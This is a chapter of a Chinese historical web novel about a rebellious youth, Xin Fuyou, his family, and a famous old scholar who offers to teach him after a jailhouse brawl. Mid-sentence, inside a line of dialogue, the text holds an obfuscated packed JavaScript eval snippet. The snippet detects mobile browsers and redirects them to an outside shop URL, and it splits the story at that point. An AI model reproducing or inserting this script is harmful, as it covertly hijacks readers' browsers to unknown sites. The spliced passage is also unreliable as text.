“爹爹,你怎么了?”辛澜儿满脸担忧。 “爹爹没事。”既是安慰辛澜儿,也是安慰他自己,“走吧,先进去看看再说。” 辛知远还能说什么,从第一句就开始道歉,低头哈腰关切询问他老人家的身体。所幸宋老先生被撞倒时身下垫着人,倒是没伤到。但这场惊吓可不小,老先生气得吹胡子瞪眼,在牢里不停地数落人,几个小郎君分成两排挨着墙根坐,都低着头默默挨训。 “到底是谁撞的我?”宋老先生冷脸道。 一屋子人你看看我,我看看你,都缩着脖子不敢说话。 “都说了是我撞的,”辛拂游坐在墙角地上,长腿伸直,一条腿曲起,“不信算了。” 他并不站起来,语气也十分随意。 宋老先生的嘴角立马耷拉下来。 辛知远见状恨不得现在就掐死辛拂游。他知道眼前的老先生是谁吗?知道有多少人连见到他的机会都没有吗?知道他的学生遍布朝野吗?知道当今圣上和朝中大臣在他面前是如何彬彬有礼的吗? 他全都不知道,竟敢闯下如此塌天大祸! 辛知远连忙上前赔笑道:“宋老,这孩子生性顽劣,没读过什么书,不懂礼法,您别和他一般见识。” “生性顽劣?”宋老先生把目光转向辛知远又转走,接着冷哼一声,便不再说话了。 辛知远略显尴尬地看向宋山长,后者别过头,表明自己也没办法。 这时顾氏急急赶来,看见明雪澜又带了一脸伤,长发衣衫皆乱作一团,正无助地坐在牢里臭烘烘的干草上。 顾氏当即号啕大哭,扑到辛拂游身上一通乱拳捶打:“我们娘俩怎么惹你了?你这样对我们!” 辛拂游用胳膊去挡,却并不还手,引得周围牢房的犯人都伸头望这边看。 牢头过来呵斥顾氏:“干什么!这不是你动手的地方,要打出去打。” 顾氏怒指辛拂游,哭道:“他不是第一次打人了,他就是个死性不改的魔鬼。官爷,这种人就该关起来打板子!” 牢头道:“该怎么处置他自有定论。你们安静些,不然都出去。” 满屋子的人不敢再多言。 辛澜儿也是拿自家哥哥没办法了。她揣着小手挪过去,小心翼翼地把方帕塞进顾氏手里,低声道:“顾姨,别哭…..” 顾氏不接,只用另一只手背抹眼泪,走到明雪澜身旁蹲下查看儿子的伤势。 宋山长和辛知远对视一眼,一左一右将牢头请到外面说话。 今晚事发突然,辛知远没来得及叫上关老头家当捕快的儿子前来周旋。所幸牢头多少听过海清书院宋山长的大名,掂了掂手里的银子,道:“既是几个小郎君打闹被误抓,那就回去吧,但以后不能再犯。” 辛知远连忙称是。 那几个书院学子没受伤,被宋山长指着鼻子一顿说教后各自被爹娘领回家。宋老先生年纪大了,禁不起折腾,被宋山长送回藏书阁。其余人则去了济元堂。 方德清睡得正香被喊起来,看见带伤的三个少年郎。明雪澜居然是伤得最轻的那个,可见另外一个满脸是血的陌生少年不是辛拂游的帮手。 美梦被扰的埋怨立即变成突如其来的惊喜。方德清拍拍辛拂游的肩膀,举起大拇指道:“游哥儿,以一敌二,厉害啊!” 瞬间不知多少眼刀飞过来,方德清悻悻住嘴,挨个治伤。 #### 方德清没说错,辛拂游的确很厉害,竟让宋老先生动了亲自教导他的心思,但可不是为了他将来能在读书上出人头地,而是宋老先生认为让一头迷失的野狼回归正途是一件极富挑战性的事情。 他很乐意挑战,特意嘱咐明雪澜把辛拂游带来藏书阁。 明雪澜是心不甘情不愿的。他觉得辛拂游就是一条癞皮狗,彻底粘上他了,那是多看一眼就嫌烦。 然而他不得不听宋老先生的话,是以他来到辛家,传达宋老先生的意思。 辛知远高兴得不知说什么才好,冷静下来后又问明雪澜每年要交多少束脩,宋老先生平日里爱喝什么茶,爱吃哪家酒楼的饭菜云云。 明雪澜道:“先生特意嘱咐,什么都不用准备,人到即可。” 话是这么说,但辛知远不可能真的一点儿心意都不表示。 他搓搓手,脸上是掩不住的兴奋和激动,想起家中还有腊月里别人送给他的滇红茶,连忙钻进仓房,顺便找找别的能拿得出手的东西。 堂屋里只剩下辛澜儿和明雪澜。 辛澜儿在一旁听得清楚,知道自家哥哥要和澜哥哥、洁哥哥一起念书,她赶紧缠上明雪澜的胳膊,摇晃着道:“我也要去书院,我也要去。” 她一贯是这样,待人很亲昵,可能由于她从小就对亲哥哥这样,所以理所当然的认为其他哥哥也要从她这里得到平等的待遇。 明雪澜乐于享受她的亲近,坐在椅子上被她摇得身子一晃一晃的,但他微垂着头,抿起嘴笑。 辛澜儿见他不接话,小脸伸过去,趴到他眼前问:“哥哥带我去好不好?我想和你一起念书。” “我一天不见你就想你......” "要是我也去书院,就能每天和你在一起啦......” 这些话对于当今的小女娘来说算得上露骨,就算是订了亲的未婚夫妻说起这些都要双双红了脸,可辛澜儿说起这些话就像吃饭喝水一样自然。 明雪澜听得脸热,心也逐渐跳得厉害。 不能再听下去了。他直起身子,想告诉她不要再说这样的话,可又怕她今后真的不说了。 便说回正事:“妹妹真想去藏书阁?” “嗯!”辛澜儿重重点头。 “宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590845|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老先生没说过的话,我不能擅自做主。” 听起来她去的机会很渺茫,辛澜儿肉眼可见的难过,失望地垂头,一双小手正慢慢松开明雪澜的胳膊往下滑。 “不过明日我可以带你去藏书阁玩一天。” 他突然又出声,给了辛澜儿希望。 辛澜儿猛地抬头,两只好看的杏圆眼亮晶晶的,逐渐弯成月牙的形状。 她显然高兴极了,重抱住他的胳膊,激动地道:“好!只有明天么?后天呢?以后我还能不能去?” 明雪澜用另一只手端起茶杯,慢悠悠吹了吹上面漂浮的茶叶。他静静听着辛澜儿软糯的语气,两边嘴角像是被无形的丝线勾起来一般无法抑制,感受柔软的脸颊在他肩头小猫似的蹭来蹭去。 “求求你了,以后也带我去罢,好不好?求求你了,澜哥哥……” 明雪澜心里陡然升腾起一种奇异的快乐,一种被依赖和需要的感觉。 “我会尽力的,妹妹也要乖。” 他微笑着看她,想再为自己争取一些好处,然而耳朵很灵敏的听到了大门口的动静。 是辛拂游回家来了,他刚推开自家大门就开始喊辛澜儿的名字。 辛澜儿很快放开明雪澜的胳膊,她知道自己哥哥不喜欢看到自己对别的哥哥太过亲近,所以她很知趣的松开了,跑到哥哥面前告诉他这个好消息。 “哥,你明天就要去做宋先生的学生了,你开不开心?” “什么?”辛拂游像是被雷劈中了般愣在原地。 辛知远这时搬了一大堆东西从仓房里出来,看见辛拂游回来,脸上也带了笑容:“游哥儿,快来看看这些东西做你的束脩行不行。” “谁要去啊?我答应了么?”辛拂游很是烦躁。 “必须要去。”辛知远正色道,“我想去还没机会呢,你倒好,饭送到嘴边都不吃。” “那你去呗。”辛拂游道,“你就说你叫辛拂游。” “嘿!你这孩子就是欠收拾。” 辛拂游全然不理会,径直走进堂屋,看见明雪澜正坐在桌边,手里那盏茶已喝了大半,看来已经在他家里待了很久了。 辛拂游侧身坐下,懒散地往椅背上靠,一双锐利的丹凤眼直盯着明雪澜:“是你带来的消息?” 这时辛知远和辛澜儿都已经进屋来,明雪澜脸上便带了笑,一贯的温和好脾气,好似他和辛拂游之间从来没生过龃龉。 “拂游兄,明日酉时就可以到藏书阁后门。哦...后门就在你当初打赵洁的那条小巷子里。”明雪澜笑得温暖,“想必你不会走错。” 这虚伪的笑容十分的刺眼。辛拂游发自内心的觉得“欠收拾”的另有其人,自己不动手扇他两巴掌真是难解心头之恨。 可妹妹在身边,他担心又把妹妹吓病了,于是硬生生把怒气忍下来,没好气道:“谁爱去谁去,反正我不去。” 明雪澜巴不得他不去呢,但面上还是一副惋惜神色:“拂游兄武力不凡,若是再得宋老先生教导,岂不是要文武双全了?还是去吧,多好的机会。” 辛拂游嗤笑一声,这辈子没想过自己能和“文武双全”有关系,心道明雪澜这人就是虚伪又惯会卖弄,对他明夸暗贬,自己早晚要再收拾他一顿。 “我用得着你来劝?你管我去不去呢。” 又是听了让人莫名火大的语气。 明雪澜的脸上飞速闪过一丝不耐,随即站起来笑道:“我自然是管不到你的,只是不想拂游兄错过好机会罢了。” 又看向辛澜儿,笑得十分温柔。 “澜儿妹妹,明日酉时我来接你。”